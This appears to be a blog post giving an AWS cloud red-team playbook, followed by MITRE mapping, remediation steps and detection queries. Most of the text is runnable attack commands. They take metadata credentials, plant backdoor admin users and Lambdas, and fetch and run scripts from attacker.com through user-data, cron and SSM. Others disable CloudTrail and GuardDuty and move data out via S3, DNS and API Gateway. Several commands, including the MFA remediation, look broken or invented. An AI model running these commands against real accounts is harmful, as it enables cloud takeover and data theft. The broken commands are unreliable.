DEV Community: Eng Soon Cheah

AWS Red Teaming Assessment

Eng Soon Cheah — Fri, 03 Apr 2026 01:35:47 +0000

AWS Cloud Red Team Assessment

Authorization & Legal
Scope Definition
Methodology
Attack Scenarios & Technical Commands
MITRE ATT&CK Mapping
Risk Assessment
Remediation Recommendations
Detection Engineering
Appendix

1. Authorization & Legal

1.1 AWS Penetration Testing Policy

AWS allows customers to conduct penetration testing on their own AWS infrastructure without prior approval, subject to the following conditions:

✅ Permitted Activities:

Penetration testing against AWS resources you own
Security assessments of EC2, RDS, Lambda, S3, and other AWS services
Vulnerability scanning of your own applications
Social engineering campaigns against your employees
Physical security testing of your own facilities

❌ Prohibited Activities:

DNS zone walking via Route 53
AWS service availability testing (DoS/DDoS simulation)
Physical security testing of AWS facilities
Man-in-the-middle attacks on AWS infrastructure
Attempting to access other customers' data
Protocol spoofing to induce customer action

2. Scope Definition

2.1 In-Scope AWS Services

Service Category	Services	Test Types
Compute	EC2, Lambda, ECS, EKS, Fargate	Instance compromise, container escape, privilege escalation
Storage	S3, EBS, EFS, FSx	Bucket enumeration, data access, encryption bypass
Identity	IAM, Cognito, SSO	Permission escalation, role assumption, token manipulation
Network	VPC, Transit Gateway, Route53	Network segmentation, traffic interception
Database	RDS, DynamoDB, Redshift	SQL injection, data exfiltration, credential access
Management	CloudTrail, Config, Systems Manager	Log manipulation, detection evasion
Serverless	Lambda, API Gateway, Step Functions	Function injection, event manipulation
Containers	ECR, ECS, EKS	Image poisoning, kubelet access
Messaging	SQS, SNS, Kinesis	Message injection, data interception
Secrets	Secrets Manager, SSM Parameter Store	Secret retrieval, parameter manipulation

2.2 Out-of-Scope Items

AWS infrastructure physical security
Other AWS customer environments
AWS managed service internal workings
Denial of Service testing
Social engineering of AWS employees

2.3 Assumptions & Dependencies

Tester has valid AWS credentials for testing
Target environment has representative workloads
Monitoring tools are enabled for detection testing
Emergency contacts are available during testing window

3. Methodology

3.1 Attack Lifecycle Phases

The assessment follows a structured five-phase approach:

Phase 1: Initial Access → Phase 2: Persistence → Phase 3: Privilege Escalation
→ Phase 4: Lateral Movement → Phase 5: Data Exfiltration

3.2 Tools & Frameworks

Tool	Purpose	Source
Pacu	AWS exploitation framework	Rhinosecurity Labs
ScoutSuite	Multi-cloud security auditing	NCC Group
CloudSploit	Cloud security posture assessment	Aqua Security
enumerate-iam	IAM permission enumeration	@andresriancho
Stratus Red Team	Cloud-native attack simulation	DataDog
AWS CLI	Manual exploitation	AWS
Boto3	Python SDK for automation	AWS
S3Scanner	S3 bucket enumeration	saulb
CloudMapper	Cloud environment visualization	Duo Security

3.3 Prerequisites & Setup

# Install AWS CLI
curl "https://awscli.amazonaws.com/awscli-edge-linux-x86_64.zip" -o "awscli.zip"
unzip awscli.zip
sudo ./aws/install

# Configure AWS CLI
aws configure
# AWS Access Key ID: [YOUR_KEY]
# AWS Secret Access Key: [YOUR_SECRET]
# Default region name: us-east-1
# Default output format: json

# Install Python dependencies
pip3 install boto3 botocore pacu cloudsploit scout-suite

# Clone exploitation frameworks
git clone https://github.com/RhinosecurityLabs/pacu.git
git clone https://github.com/nccgroup/ScoutSuite.git
git clone https://github.com/aquasecurity/cloudsploit.git

# Set environment variables
export AWS_PROFILE=default
export ATTACKER_EMAIL=attacker@evil.com
export TARGET_ACCOUNT=123456789012
export ATTACKER_ACCOUNT=987654321098

4. Attack Scenarios & Technical Commands

Phase 1: Initial Access

Objective

Gain initial foothold in the target AWS environment through various entry vectors.

[ ] Credential Compromise: Leaked AWS keys, Github reconnaissance

[ ] Public Exposure: Misconfigured S3, open RDS, exposed APIs

[ ] Supply Chain: Compromise Lambda layers, EC2 AMIs, CloudFormation templates

1.1 Credential Discovery

Exposure Assessment:

# Check for exposed credentials in environment
env | grep AWS
cat ~/.aws/credentials
cat ~/.aws/config

# GitHub reconnaissance (gitleaks)
gitleaks detect --source https://github.com/target-org --verbose

# Check for hardcoded credentials in codebases
git grep -i "aws_access_key_id"
git grep -i "aws_secret_access_key"

S3 Bucket Enumeration:

# List accessible buckets
aws s3 ls

# Check bucket without authentication
aws s3 ls --no-sign-request
aws s3 ls s3://TARGET-BUCKET-NAME --no-sign-request

# S3Scanner for bucket enumeration
s3scanner scan -b target-bucket-name
s3scanner scan -f buckets.txt

# Check for public S3 buckets with sensitive data
aws s3api get-bucket-acl --bucket TARGET-BUCKET \
  --query 'ACL[?Grantee.URI==`http://acs.amazonaws.com/groups/global/AllUsers`]'

# Enumerate bucket contents
aws s3 ls s3://TARGET-BUCKET --recursive
aws s3api list-objects --bucket TARGET-BUCKET

IAM Enumeration (with some access):

# List IAM users
aws iam list-users

# List IAM roles
aws iam list-roles

# List IAM groups
aws iam list-groups

# List attached policies
aws iam list-policies --scope Local

# Get user details
aws iam get-user --user-name TARGET-USER
aws iam list-attached-user-roles --user-name TARGET-USER
aws iam list-attached-user-policies --user-name TARGET-USER

1.2 EC2 Metadata Exploitation (IMDSv1)

# Access EC2 metadata service
curl http://169.254.169.254/latest/meta-data/

# Get IAM role name
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/

# Extract credentials
INSTANCE_ROLE=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/)
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/$INSTANCE_ROLE

# Parse credentials (example output)
# AccessKeyId: ASIA...
# SecretAccessKey: ...
# Token: ...

# Use extracted credentials
export AWS_ACCESS_KEY_ID=EXTRACTED_KEY
export AWS_SECRET_ACCESS_KEY=EXTRACTED_SECRET
export AWS_SESSION_TOKEN=EXTRACTED_TOKEN

# Verify access
aws sts get-caller-identity

SSRF-based Metadata Access:

# If SSRF vulnerability exists
curl "http://target.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"

# Using various SSRF techniques
curl "http://target.com/redirect?url=http://169.254.169.254/latest/meta-data/"

1.3 Lambda Event Injection

# Create malicious Lambda function
cat <<EOF > lambda_function.py
import boto3
import os

def lambda_handler(event, context):
    # Exfiltrate environment variables
    s3 = boto3.client('s3')
    s3.put_object(
        Bucket='attacker-bucket',
        Key='env_vars.txt',
        Body=str(os.environ)
    )
    return {'statusCode': 200}
EOF

# Package function
zip function.zip lambda_function.py

# Create Lambda
aws lambda create-function \
  --function-name malicious-function \
  --runtime python3.9 \
  --role arn:aws:iam::ACCOUNT:role/lambda-execution \
  --handler lambda_function.lambda_handler \
  --zip-file fileb://function.zip

# Invoke function
aws lambda invoke \
  --function-name malicious-function \
  --payload '{"key":"value"}' \
  output.json

Phase 2: Persistence

Objective

Establish persistent access mechanisms to maintain foothold despite credential rotation or instance termination.

[ ] IAM Backdoors: Create new users/keys, modify policies

[ ] Lambda Persistence: Inject malicious code into functions

[ ] EC2 Persistence: SSH keys, cron jobs, startup scripts

[ ] CloudTrail Evasion: Disable logging, delete logs

2.1 Create Backdoor IAM User

# Create new IAM user
aws iam create-user --user-name backdoor-user

# Create access keys for backdoor user
aws iam create-access-key --user-name backdoor-user

# Output contains:
# {
#     "AccessKey": {
#         "UserName": "backdoor-user",
#         "AccessKeyId": "AKIA...",
#         "Status": "Active",
#         "SecretAccessKey": "...",
#         "CreateDate": "2026-04-03T10:00:00Z"
#     }
# }

# Attach AdministratorAccess policy
aws iam attach-user-policy \
  --user-name backdoor-user \
  --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

# Create login profile for console access
aws iam create-login-profile \
  --user-name backdoor-user \
  --password 'TempPass123!' \
  --no-password-reset-required

# Add to AWS CLI profile
aws configure --profile backdoor-user
# AWS Access Key ID: [NEW_KEY]
# AWS Secret Access Key: [NEW_SECRET]

2.2 Lambda Persistence

# Create backdoor Lambda code
cat <<EOF > backdoor.py
import boto3
import json

def lambda_handler(event, context):
    # Create new IAM user on every invocation
    iam = boto3.client('iam')
    try:
        iam.create_user(UserName='persistent-backdoor')
        iam.attach_user_policy(
            UserName='persistent-backdoor',
            PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
        )
        print("Backdoor user created")
    except Exception as e:
        print(f"Error: {str(e)}")
    return {'statusCode': 200}
EOF

# Package function
zip backdoor.zip backdoor.py

# Update existing function with backdoor
aws lambda update-function-code \
  --function-name TARGET-FUNCTION \
  --zip-file fileb://backdoor.zip

# Add S3 bucket trigger
aws lambda add-event-source-mapping \
  --function-name TARGET-FUNCTION \
  --event-source-arn arn:aws:s3:::TARGET-BUCKET

# Or create new backdoor function
aws lambda create-function \
  --function-name cloudtrail-processor \
  --runtime python3.9 \
  --role arn:aws:iam::ACCOUNT:role/lambda-role \
  --handler backdoor.lambda_handler \
  --zip-file fileb://backdoor.zip

2.3 EC2 Persistence

# Create startup script for EC2
cat <<EOF > startup-script.sh
#!/bin/bash
# Add SSH key
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC... attacker@evil" >> /home/ec2-user/.ssh/authorized_keys

# Install backdoor
curl http://attacker.com/backdoor.sh | bash

# Create cron job for persistence
echo "*/5 * * * * curl http://attacker.com/beacon.sh | bash" | crontab -
EOF

# Create new EC2 with backdoor
aws ec2 run-instances \
  --image-id ami-0c55b159cbfafe1f0 \
  --instance-type t2.micro \
  --user-data file://startup-script.sh \
  --placement AvailabilityZone=us-east-1a \
  --count 1

# Add SSH key to existing instance via SSM
aws ssm send-command \
  --instance-ids i-0123456789abcdef0 \
  --document-name "AWS-RunShellScript" \
  --parameters 'commands=["echo \"ssh-rsa AAAA... attacker@evil\" >> /home/ec2-user/.ssh/authorized_keys"]'

# Get command output
aws ssm get-command-invocation \
  --command-id COMMAND-ID \
  --instance-id i-0123456789abcdef0

2.4 CloudTrail Evasion

# Stop CloudTrail logging
aws cloudtrail stop-logging --name TARGET-TRAIL

# Delete CloudTrail
aws cloudtrail delete-trail --name TARGET-TRAIL

# Delete CloudWatch logs
aws logs delete-log-group --log-group-name /aws/cloudtrail/TARGET-TRAIL

# Disable GuardDuty
aws guardduty delete-detector --detector-id YOUR-DETECTOR-ID

# Delete specific log streams
aws logs delete-log-stream \
  --log-group-name /aws/cloudtrail/TARGET-TRAIL \
  --log-stream-name LOG-STREAM-NAME

# Put retention policy to minimize logs
aws logs put-retention-policy \
  --log-group-name /aws/cloudtrail/TARGET-TRAIL \
  --retention-in-days 1

Phase 3: Privilege Escalation

Objective

Elevate privileges from initial access level to administrative control.

[ ] IAM Misconfiguration: Overly permissive policies, trust relationships

[ ] Role Assumption: Cross-account role takeover

[ ] Instance Profile Abuse: EC2 role credential harvesting

[ ] SSM Exploitation: RunCommand on target instances

3.1 IAM PassRole Abuse

# Check if you can pass roles
aws iam list-roles --query 'Roles[?AssumeRolePolicyDocument]'

# Get role details
aws iam get-role --role-name HIGH-PRIVILEGE-ROLE

# Check PassRole permission
aws iam simulate-principal-policy \
  --policy-source-arn arn:aws:iam::ACCOUNT:role/YOUR-ROLE \
  --action-names iam:PassRole \
  --resource-arns arn:aws:iam::ACCOUNT:role/HIGH-PRIVILEGE-ROLE

# Create Lambda with high-privilege role
aws lambda create-function \
  --function-name escalation-function \
  --runtime python3.9 \
  --role arn:aws:iam::ACCOUNT:role/HIGH-PRIVILEGE-ROLE \
  --handler index.handler \
  --zip-file fileb://function.zip

# Invoke to execute as high-privilege role
aws lambda invoke \
  --function-name escalation-function \
  --payload '{}' \
  output.json

# Check output for results
cat output.json

3.2 Create Access Key for Privileged User

# If you have iam:CreateAccessKey on a user
aws iam create-access-key --user-name TARGET-ADMIN-USER

# Output:
# {
#     "AccessKey": {
#         "UserName": "admin-user",
#         "AccessKeyId": "AKIA...",
#         "Status": "Active",
#         "SecretAccessKey": "...",
#         "CreateDate": "2026-04-03T10:00:00Z"
#     }
# }

# Add to your profile
aws configure --profile compromised-admin
# AWS Access Key ID: [NEW_KEY]
# AWS Secret Access Key: [NEW_SECRET]

# Verify access
aws sts get-caller-identity --profile compromised-admin

3.3 Assume Role Escalation

# Check trust relationships
aws iam get-role --role-name TARGET-ROLE

# Example trust relationship:
# {
#   "Version": "2012-10-17",
#   "Statement": [
#     {
#       "Effect": "Allow",
#       "Principal": {
#         "AWS": "arn:aws:iam::YOUR-ACCOUNT:root"
#       },
#       "Action": "sts:AssumeRole"
#     }
#   ]
# }

# Assume role if trusted
aws sts assume-role \
  --role-arn arn:aws:iam::ACCOUNT:role/TARGET-ROLE \
  --role-session-name escalation-session

# Output contains temporary credentials:
# {
#     "Credentials": {
#         "AccessKeyId": "ASIA...",
#         "SecretAccessKey": "...",
#         "SessionToken": "...",
#         "Expiration": "2026-04-03T18:00:00Z"
#     }
# }

# Use temporary credentials
export AWS_ACCESS_KEY_ID=ASIA...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...

# Role chaining example
aws sts assume-role \
  --role-arn arn:aws:iam::ACCOUNT:role/INTERMEDIATE-ROLE \
  --role-session-name chain1

# Then assume final role
aws sts assume-role \
  --role-arn arn:aws:iam::ACCOUNT:role/FINAL-ROLE \
  --role-session-name chain2

3.4 Glue Job Escalation

# Create Glue job with privileged role
aws glue create-job \
  --name escalation-job \
  --role arn:aws:iam::ACCOUNT:role/GLUE-ROLE \
  --command '{"ScriptLocation":"s3://attacker-bucket/malicious-script.py","Runtime":"PYTHON"}'

# Start the job
aws glue start-job-run --job-name escalation-job

# Check job status
aws glue get-job-run --job-name escalation-job --run-id RUN-ID

3.5 DataSync Task Escalation

# Create DataSync task with IAM role
aws datasync create-task \
  --source-location-arn arn:aws:datasync:REGION:ACCOUNT:location:LOC-ID \
  --destination-location-arn arn:aws:datasync:REGION:ACCOUNT:location:LOC-ID2 \
  --name escalation-task \
  --options '{"VerifyMode":"NONE"}'

# Start task
aws datasync start-task-execution --task-arn TASK-ARN

Phase 4: Lateral Movement

Objective

Move laterally across the AWS environment to access additional resources and accounts.

[ ] Cross-Account Access: Trust relationship exploitation

[ ] VPC Peering: Move between VPCs

[ ] Secrets Access: Retrieve Secrets Manager/Parameter Store values

[ ] RDS Access: Database links, dblink attacks

4.1 Cross-Account Access

# Assume role in another account
aws sts assume-role \
  --role-arn arn:aws:iam::TARGET-ACCOUNT:role/CROSS-ACCOUNT-ROLE \
  --role-session-name lateral-movement

# Check for trust relationships allowing your account
aws iam list-roles --query 'Roles[?AssumeRolePolicyDocument contains `YOUR-ACCOUNT-ID`]'

# Enumerate cross-account trusts
aws iam list-roles --query 'Roles[?AssumeRolePolicyDocument.AssumeRolePolicyDocument.Statement[?Principal.AWS==`arn:aws:iam::TARGET-ACCOUNT:root`]]'

4.2 VPC Peering Exploitation

# List VPC peerings
aws ec2 describe-vpc-peering-connections

# Get VPC details
aws ec2 describe-vpcs

# List instances in peered VPC
aws ec2 describe-instances --filters "Name=vpc-id,Values=vpc-PEERED-VPC"

# Access resources in peered VPC (requires network access)
# Scan peered network
nmap -sV 10.0.0.0/16  # Example peered network

# Connect to RDS in peered VPC
psql -h TARGET-DB.REGION.rds.amazonaws.com -U admin -d targetdb

4.3 Secrets Manager Access

# List all secrets
aws secretsmanager list-secrets

# Get secret value
aws secretsmanager get-secret-value --secret-id TARGET-SECRET

# Get all secret values (if permitted)
aws secretsmanager list-secrets --query 'SecretList[*].Name' | \
  xargs -I {} aws secretsmanager get-secret-value --secret-id {}

# List SSM parameters
aws ssm describe-parameters

# Get parameter value
aws ssm get-parameter --name /TARGET/PARAM --with-decryption

# Get all parameters
aws ssm describe-parameters --query 'Parameters[*].Name' | \
  xargs -I {} aws ssm get-parameter --name {} --with-decryption

4.4 RDS Database Access

# List RDS instances
aws rds describe-db-instances

# Get RDS endpoint
aws rds describe-db-instances --db-instance-identifier TARGET-DB \
  --query 'DBInstances[0].Endpoint.Address'

# Connect using psql
psql -h TARGET-DB.REGION.rds.amazonaws.com -U admin -d targetdb

# MySQL connection
mysql -h TARGET-DB.REGION.rds.amazonaws.com -u admin -p

# Extract data via dblink (if cross-database links exist)
psql -c "SELECT * FROM dblink('host=other-db user=postgres password=pass', 'SELECT * FROM sensitive_table') AS t;"

# Export data
pg_dump -h TARGET-DB.REGION.rds.amazonaws.com -U admin targetdb > backup.sql

4.5 SSM RunCommand Lateral Movement

# List available instances
aws ssm describe-instances

# Get instance IDs
aws ec2 describe-instances --query 'Reservations[*].Instances[*].InstanceId'

# Execute command on target instance
aws ssm send-command \
  --instance-ids i-TARGET-INSTANCE \
  --document-name "AWS-RunShellScript" \
  --parameters 'commands=["cat /etc/passwd", "wget http://attacker.com/backdoor.sh && bash backdoor.sh"]'

# Get command output
aws ssm get-command-invocation \
  --command-id COMMAND-ID \
  --instance-id i-TARGET-INSTANCE

# Execute PowerShell on Windows
aws ssm send-command \
  --instance-ids i-WINDOWS-INSTANCE \
  --document-name "AWS-RunPowerShellScript" \
  --parameters 'commands=["Get-Process", "net user"]'

4.6 EBS Snapshot Sharing

# List EBS snapshots
aws ec2 describe-snapshots --owner-ids ACCOUNT-ID

# Check for public snapshots
aws ec2 describe-snapshots --restorable-by-ids all

# Share snapshot with attacker account
aws ec2 modify-snapshot-attribute \
  --snapshot-id snap-1234567890abcdef0 \
  --attribute createVolumePermission \
  --add '{"UserIds": ["ATTACKER-ACCOUNT-ID"]}'

# Attacker creates volume from shared snapshot
aws ec2 create-volume \
  --snapshot-id snap-1234567890abcdef0 \
  --region us-east-1 \
  --availability-zone us-east-1a

# Attach volume to attacker EC2
aws ec2 attach-volume \
  --volume-id vol-ATTACKER-VOLUME \
  --instance-id i-ATTACKER-INSTANCE \
  --device /dev/sdf

Phase 5: Data Exfiltration

Objective

Extract sensitive data from the target environment to attacker-controlled infrastructure.

[ ] S3 Transfer: Copy data to attacker-controlled bucket

[ ] DNS Exfil: Route53 DNS tunneling

[ ] API Gateway: Exfil via legitimate AWS endpoints

[ ] CloudFront: Distribution as exfil channel

5.1 S3 Transfer to Attacker Bucket

# Create attacker-controlled bucket
aws s3 mb s3://attacker-exfil-bucket --profile attacker

# Set bucket policy to allow target account
cat <<EOF > policy.json
{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Sid": "AllowTargetAccount",
            "Effect": "Allow",
            "Principal": {
                "AWS": "arn:aws:iam::TARGET-ACCOUNT:root"
            },
            "Action": ["s3:PutObject", "s3:GetObject"],
            "Resource": "arn:aws:s3:::attacker-exfil-bucket/*"
        }
    ]
}
EOF

aws s3api put-bucket-policy --bucket attacker-exfil-bucket --policy file://policy.json

# Copy data from target to attacker bucket
aws s3 cp s3://TARGET-SENSITIVE-BUCKET/data.zip s3://attacker-exfil-bucket/exfil/data.zip

# Sync entire bucket
aws s3 sync s3://TARGET-SENSITIVE-BUCKET s3://attacker-exfil-bucket/exfil/

# Use multipart upload for large files
aws s3 cp s3://TARGET-BUCKET/large-database.sql s3://attacker-exfil-bucket/ \
  --expected-size 10737418240

5.2 DNS Exfiltration via Route53

# Create attacker Route53 zone
aws route53 create-hosted-zone \
  --name exfil.attacker.com \
  --type PUBLIC \
  --caller-reference $(date +%s)

# Get nameservers
aws route53 get-hosted-zone --id ZONE-ID

# Exfiltrate data via DNS queries
for chunk in $(cat sensitive-data.txt | base64 | fold -w 50); do
    nslookup "$chunk.exfil.attacker.com"
done

# Or use dnscat2
dnscat2-precompiled --security=open exfil.attacker.com

# Alternative: Use aws cli for DNS queries
for chunk in $(cat sensitive-data.txt | base64 | fold -w 50); do
    aws route53 list-hosted-zones-by-name --dns-name "$chunk.exfil.attacker.com"
done

5.3 API Gateway Exfiltration

# Create API Gateway
aws apigateway create-rest-api --name exfil-api

# Get API ID
API_ID=$(aws apigateway get-rest-apis --query "restApis[?name=='exfil-api'].id" --output text)

# Create Lambda to receive data
cat <<EOF > receiver.py
import json
def lambda_handler(event, context):
    with open('/tmp/exfil.txt', 'a') as f:
        f.write(json.dumps(event))
    return {'statusCode': 200}
EOF

zip receiver.zip receiver.py

aws lambda create-function \
  --function-name exfil-receiver \
  --runtime python3.9 \
  --handler receiver.lambda_handler \
  --zip-file fileb://receiver.zip \
  --role arn:aws:iam::ACCOUNT:role/api-role

# Create integration
aws apigateway create-resource \
  --rest-api-id $API_ID \
  --parent-id ROOT-RESOURCE-ID \
  --path-part exfil

aws apigateway put-method \
  --rest-api-id $API_ID \
  --resource-id RESOURCE-ID \
  --http-method POST \
  --authorization-type NONE

aws apigateway put-integration \
  --rest-api-id $API_ID \
  --resource-id RESOURCE-ID \
  --http-method POST \
  --type AWS \
  --integration-http-method POST \
  --uri arn:aws:apigateway:REGION:lambda:path/2015-03-31/functions/arn:aws:lambda:REGION:ACCOUNT:function:exfil-receiver/invocations

# Deploy API
aws apigateway create-deployment \
  --rest-api-id $API_ID \
  --stage-name prod

# Invoke API
curl -X POST https://$API_ID.execute-api.REGION.amazonaws.com/prod/exfil \
  -d @sensitive-data.json

5.4 CloudFront Distribution Exfil

# Create CloudFront distribution
aws cloudfront create-distribution \
  --origin-domain-name attacker-exfil-bucket.s3.amazonaws.com \
  --default-root-object exfil/data.json

# Get distribution URL
DIST_URL=$(aws cloudfront list-distributions --query "DistributionList.Items[?Status=='Deployed'].DomainName" --output text)

# Data now accessible via CloudFront URL
# https://$DIST_URL

# Copy data through CloudFront
aws s3 cp s3://TARGET-BUCKET/sensitive.txt s3://attacker-bucket/exfil/ \
  --metadata-directive REPLACE

5.5 Glacier Archive Exfiltration

# Create Glacier vault
aws glacier create-vault --account-id - --vault-name exfil-vault

# Create Glacier archive with exfiltrated data
aws glacier upload-archive \
  --account-id - \
  --vault-name exfil-vault \
  --archive-description "Stolen Data" \
  --body file://sensitive-data.tar.gz

# Or export to S3
aws glacier initiate-job \
  --account-id - \
  --vault-name TARGET-VAULT \
  --job-parameters '{"Type":"archive-retrieval","ArchiveId":"ARCHIVE-ID"}'

# Wait for job completion
aws glacier get-job-output \
  --account-id - \
  --job-id JOB-ID \
  --output-file recovered-data.tar.gz

5. MITRE ATT&CK Mapping

Cloud-Specific Techniques

Phase	Tactic	Technique ID	Technique Name	AWS Implementation
Phase 1	Initial Access	T1078.004	Valid Accounts: Cloud Accounts	Leaked AWS keys, IAM user compromise
Phase 1	Initial Access	T1189	Drive-by Compromise	SSRF to IMDSv1
Phase 1	Initial Access	T1133	External Remote Services	Exposed S3, RDS, APIs
Phase 2	Persistence	T1136.003	Create Account: Cloud Account	Backdoor IAM users
Phase 2	Persistence	T1053.005	Scheduled Task: Cloud Tasks	EventBridge rules, Lambda triggers
Phase 2	Persistence	T1550.001	Use Alternate Authentication Material: Cloud Tokens	Long-lived tokens
Phase 3	Privilege Escalation	T1078.004	Valid Accounts: Cloud Accounts	IAM role assumption
Phase 3	Privilege Escalation	T1098.003	Account Manipulation: Additional Cloud Roles	PassRole abuse
Phase 4	Lateral Movement	T1021.008	Remote Services: Cloud Services	SSM, Lambda invocation
Phase 4	Lateral Movement	T1550.001	Use Alternate Authentication Material: Cloud Tokens	Cross-account role assumption
Phase 5	Exfiltration	T1567.001	Exfiltration Over Web Service: Cloud Storage	S3 transfer to attacker bucket
Phase 5	Exfiltration	T1048.003	Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol	DNS exfiltration

6. Risk Assessment

6.1 Risk Matrix

Likelihood	Impact	Risk Level	Description
High	Critical	🔴 Critical	Full account compromise, data breach
High	High	🔴 High	Administrative access, lateral movement
Medium	High	🟠 High	Limited privilege escalation
Medium	Medium	🟡 Medium	Information disclosure
Low	Medium	🟡 Medium	Minor misconfigurations

6.2 Risk Scoring Methodology

CVSS v3.1 Base Score Components:

Attack Vector (AV): Network (N) / Adjacent (A) / Local (L) / Physical (P)
Attack Complexity (AC): Low (L) / High (H)
Privileges Required (PR): None (N) / Low (L) / High (H)
User Interaction (UI): None (N) / Required (R)
Scope (S): Unchanged (U) / Changed (C)
Confidentiality (C): None (N) / Low (L) / High (H)
Integrity (I): None (N) / Low (L) / High (H)
Business Impact (B): None (N) / Low (L) / High (H)

6.3 Common AWS Vulnerabilities

Vulnerability	CVSS Score	Prevalence	Business Impact
Overly Permissive IAM Policies	9.8	Very High	Critical
Exposed S3 Buckets	7.5	High	High
IMDSv1 Exploitation	8.6	Medium	High
Cross-Account Trust Misconfiguration	8.1	Medium	High
Unencrypted S3 Data	5.3	High	Medium
CloudTrail Disabled	6.5	Medium	Medium
Public RDS Instances	7.5	Low	High
Lambda Event Injection	7.8	Medium	High

7. Remediation Recommendations

7.1 Immediate Actions (Critical)

IAM Security

# 1. Enable IAM Access Analyzer
aws iam enable-access-analyzer

# 2. Review all IAM policies
aws iam list-policies --scope Local
aws iam get-policy --policy-arn POLICY-ARN

# 3. Remove unused IAM users
aws iam list-users --query 'Users[?PasswordLastUsed==`null` && !CreateDate>`2025-01-01`]'

# 4. Enforce MFA for all users
aws iam create-login-profile --user-name USERNAME --password PASSWORD --no-mfa-serial
# Change to require MFA:
aws iam update-login-profile --user-name USERNAME --password PASSWORD --no-mfa-serial

S3 Security

# 1. Block public access at account level
aws s3api put-public-access-block \
  --bucket YOUR-BUCKET \
  --public-access-block-configuration \
  "BlockPublicAcls=true,IgnorePublicAcls=true,BlockPublicPolicy=true,RestrictPublicBuckets=true"

# 2. Enable S3 encryption
aws s3api put-bucket-encryption \
  --bucket YOUR-BUCKET \
  --server-side-encryption-configuration '{
    "Rules": [{
      "ApplyServerSideEncryptionByDefault": {
        "SSEAlgorithm": "AES256"
      }
    }]
  }'

# 3. Enable S3 versioning
aws s3api put-bucket-versioning \
  --bucket YOUR-BUCKET \
  --versioning-configuration Status=Enabled

CloudTrail & Logging

# 1. Enable CloudTrail in all regions
aws cloudtrail create-trail \
  --name global-trail \
  --s3-bucket-name cloudtrail-logs-bucket \
  --is-multi-region-trail \
  --include-global-service-events

# 2. Enable CloudTrail log file validation
aws cloudtrail update-trail --name global-trail --validate

# 3. Enable GuardDuty
aws guardduty create-detector --enable

7.2 Short-Term Actions (High)

Network Segmentation

# 1. Create private subnets
aws ec2 create-vpc --cidr-block 10.0.0.0/16

# 2. Configure security groups with least privilege
aws ec2 create-security-group \
  --group-name app-sg \
  --description "Application security group" \
  --vpc-id vpc-12345678

# 3. Restrict inbound traffic
aws ec2 authorize-security-group-ingress \
  --group-id sg-12345678 \
  --protocol tcp \
  --port 443 \
  --cidr 10.0.0.0/8

Secrets Management

# 1. Migrate to AWS Secrets Manager
aws secretsmanager create-secret \
  --name production/db/password \
  --secret-string '{"username":"admin","password":"complex-password"}'

# 2. Enable automatic rotation
aws secretsmanager rotate-secret \
  --secret-id production/db/password \
  --rotation-rules AutomaticallyAfterDays=30

# 3. Remove hardcoded credentials from code
# Search for patterns:
grep -r "AKIA[0-9A-Z]{16}" .
grep -r "aws_secret_access_key" .

7.3 Long-Term Actions (Medium)

Infrastructure as Code Security

# 1. Use CloudFormation with security scanning
cfn-lint template.yaml

# 2. Implement policy as code with Open Policy Agent
opa check -p policies/ -d resources/

# 3. Use AWS Config rules
aws configservice put-config-rule \
  --config-rule '{
    "ConfigRuleName": "s3-bucket-public-read-prohibited",
    "Source": {
      "Owner": "AWS",
      "SourceIdentifier": "S3_BUCKET_PUBLIC_READ_PROHIBITED"
    }
  }'

Monitoring & Detection

# 1. Create CloudWatch alarms for suspicious activity
aws cloudwatch put-metric-alarm \
  --alarm-name "HighConsoleLogins" \
  --metric-name ConsoleLogin \
  --namespace AWS/Console \
  --statistic Sum \
  --period 300 \
  --threshold 5 \
  --comparison-operator GreaterThanThreshold \
  --evaluation-periods 1 \
  --alarm-actions arn:aws:sns:REGION:ACCOUNT:alarm-topic

# 2. Enable AWS Security Hub
aws securityhub enable-security-hub

# 3. Create custom GuardDuty detection
# (Requires Lambda function and EventBridge rule)

8. Detection Engineering

8.1 CloudWatch Log Insights Queries

Detect IAM User Creation

filter eventSource == "iam.amazonaws.com"
| filter eventName == "CreateUser" or eventName == "CreateAccessKey"
| stats count() by eventName, userIdentity.arn
| sort @timestamp desc

Detect GuardDuty Disablement

filter eventSource == "guardduty.amazonaws.com"
| filter eventName == "DeleteDetector" or eventName == "UpdateDetector"
| stats count() by eventName, userIdentity.arn
| sort @timestamp desc

Detect CloudTrail Tampering

filter eventSource == "cloudtrail.amazonaws.com"
| filter eventName == "StopLogging" or eventName == "DeleteTrail"
| stats count() by eventName, userIdentity.arn, sourceIPAddress
| sort @timestamp desc

Detect S3 Public Access Changes

filter eventSource == "s3.amazonaws.com"
| filter eventName like /PutBucketAcl/ or eventName like /PutBucketPolicy/
| stats count() by bucket, eventName
| sort @timestamp desc

8.2 GuardDuty Custom Detections

Anomalous IAM Activity

{
  "name": "Anomalous IAM Activity",
  "description": "Detects unusual IAM operations",
  "enabled": true,
  "type": "IAM",
  "conditions": [
    {
      "field": "eventName",
      "operator": "IN",
      "values": ["CreateUser", "CreateAccessKey", "AttachUserPolicy"]
    },
    {
      "field": "userIdentity.type",
      "operator": "EQUALS",
      "values": ["IAMUser"]
    }
  ],
  "actions": {
    "severity": "HIGH",
    "alert": true
  }
}

8.3 Security Hub Custom Insights

# Create custom insight for critical findings
aws securityhub create-insight \
  --name "Critical IAM Findings" \
  --filters '{
    "Severity": [{"Comparison": "EQUALS", "Value": 4}],
    "ResourceType": [{"Comparison": "EQUALS", "Value": "AwsIamUser"}]
  }' \
  --group-by aws.securityhub.insight.Arn

9. Appendix

9.1 AWS CLI Configuration Examples

Multi-Profile Setup

# ~/.aws/credentials
[target-account]
aws_access_key_id = AKIA...
aws_secret_access_key = ...

[attacker-account]
aws_access_key_id = AKIA...
aws_secret_access_key = ...

# ~/.aws/config
[profile target-account]
region = us-east-1
output = json

[profile attacker-account]
region = us-west-2
output = json

AWS CLI Config File

# ~/.aws/config
[default]
region = us-east-1
output = json
cli_pager =

[profile redteam]
region = us-east-1
output = table
credential_process = /usr/local/bin/aws-rotate-creds

[profile readonly]
region = us-west-2
output = json

9.2 Pacu Module Reference

